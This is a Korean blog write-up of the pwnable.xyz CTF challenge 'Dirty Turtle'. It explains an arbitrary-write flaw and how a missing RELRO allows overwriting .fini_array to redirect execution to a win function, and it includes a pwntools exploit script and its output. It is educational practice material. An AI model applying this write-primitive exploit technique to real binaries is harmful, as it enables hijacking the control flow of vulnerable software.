[pwnable.xyz] - dirty tultle write up
글 작성자: Universe7202
pwnable.xyz 34번째 문제 dirty turtle 이다.
Analyze
이번 문제의 사용자 정의 함수를 보면 아래와 같다.
ubuntu:~/environment/ctf/pwnable.xyz/34_Dirty turtle $ func challenge
__libc_csu_fini
__libc_csu_init
_fini
_init
_start
get_val
handler
main
setup
win
checksec으로 바이너리에 적용된 보안 기법을 보면 아래와 같다.
ubuntu:~/environment/ctf/pwnable.xyz/34_Dirty turtle $ checksec --file=challenge
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
No RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 77 Symbols Yes 0 2challenge
바이너리를 gdb로 분석하여 c로 나타내면 다음과 같다.
#include <stdio.h>
void get_val(){
long *(rbp-0x30) = 0;
long *(rbp-0x28) = 0;
long *(rbp-0x20) = 0;
long *(rbp-0x18) = 0;
read(0, rbp-0x30, 0x20);
return strtoull(rbp-0x30);
}
int main(){
puts("Dirty Turtle Off-RoadS");
printf("Addr: ");
*(rbp-0x10) = get_val();
printf("Value: ");
*(rbp-0x8) = get_val();
if(*(rbp-0x8) == 0){
puts(*(rbp-0x10));
}
else{
*(*(rbp-0x10)) = *(rbp-0x8);
}
}
main 함수에서 else 구문을 보면 Overwrite 할 수 있는 부분이 있다.
checksec으로 보면 No RELRO 이므로 GOT를 Overwrite 할 수 있다.
하지만 이번 바이너리는 한번 실행하면 프로그램이 종료되어 특정 함수의 GOT를 Overwrite 하더라도 공격이 실행되지 않는다.
따라서 바이너리 header에서 fini_array 헤더를 이용한다.
fini_array 에 대한 설명은 아래 링크를 참고하자.
간단히 설명하자면, gcc 4.7 이상 버전은 elf header에 fini_array 헤더가 존재한다.
이는 main 함수가 끝나기 직전에 fini_array 주소의 값으로 점프를 한다.
즉, fini_array 값을 win 함수로 Overwrite 하면 문제를 Clear 할 수 있게 된다.
먼저 fini_array의 주소를 구하면 아래와 같다.
ubuntu:~/environment/ctf/pwnable.xyz/34_Dirty turtle $ gdb -q challenge
Reading symbols from challenge...(no debugging symbols found)...done.
gdb-peda$ elfheader
.interp = 0x400200
.note.ABI-tag = 0x40021c
.note.gnu.build-id = 0x40023c
.gnu.hash = 0x400260
.dynsym = 0x400288
.dynstr = 0x4003d8
.gnu.version = 0x400480
.gnu.version_r = 0x4004a0
.rela.dyn = 0x4004d0
.rela.plt = 0x400530
.init = 0x400608
.plt = 0x400620
.text = 0x4006c0
.fini = 0x4009a4
.rodata = 0x4009b0
.eh_frame_hdr = 0x4009ec
.eh_frame = 0x400a40
.init_array = 0x600bb8
.fini_array = 0x600bc0
.jcr = 0x600bc8
.dynamic = 0x600bd0
.got = 0x600da0
.got.plt = 0x600db0
.data = 0x600e10
.bss = 0x600e20
위 결과를 통해 fini_array의 주소는 0x600bc0이다.
주소를 구했으니 Overwrite 할 값은 win 함수의 주소로 값을 넣으면 끝이다.
Payload
from pwn import *
p = remote("svc.pwnable.xyz" , 30033)
e = ELF("./challenge")
p.sendlineafter(": ", str(int(0x600bc0)))
p.sendlineafter(": ", str(e.symbols["win"]))
p.interactive()
ubuntu:~/environment/ctf/pwnable.xyz/34_Dirty turtle $ python poc.py
[+] Opening connection to svc.pwnable.xyz on port 30033: Done
[*] '/home/ubuntu/environment/ctf/pwnable.xyz/34_Dirty turtle/challenge'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Switching to interactive mode
FLAG{-------------------}[*] Got EOF while reading in interactive
$
'🚩CTF' 카테고리의 다른 글
[TSG 2020 CTF] beginner's pwn write up (0) | 2020.07.14 |
---|---|
[HackCTF] - [Misc] 탈옥 write up (0) | 2020.04.26 |
[pwnable.xyz] badayum write up (0) | 2020.03.10 |
[pwnable.xyz] Hero Factory write up (0) | 2020.03.10 |
[zer0pts 2020 CTF] - notepad write up (0) | 2020.03.09 |
댓글
이 글 공유하기
다른 글
-
[TSG 2020 CTF] beginner's pwn write up
[TSG 2020 CTF] beginner's pwn write up
2020.07.14 -
[HackCTF] - [Misc] 탈옥 write up
[HackCTF] - [Misc] 탈옥 write up
2020.04.26 -
[pwnable.xyz] badayum write up
[pwnable.xyz] badayum write up
2020.03.10 -
[pwnable.xyz] Hero Factory write up
[pwnable.xyz] Hero Factory write up
2020.03.10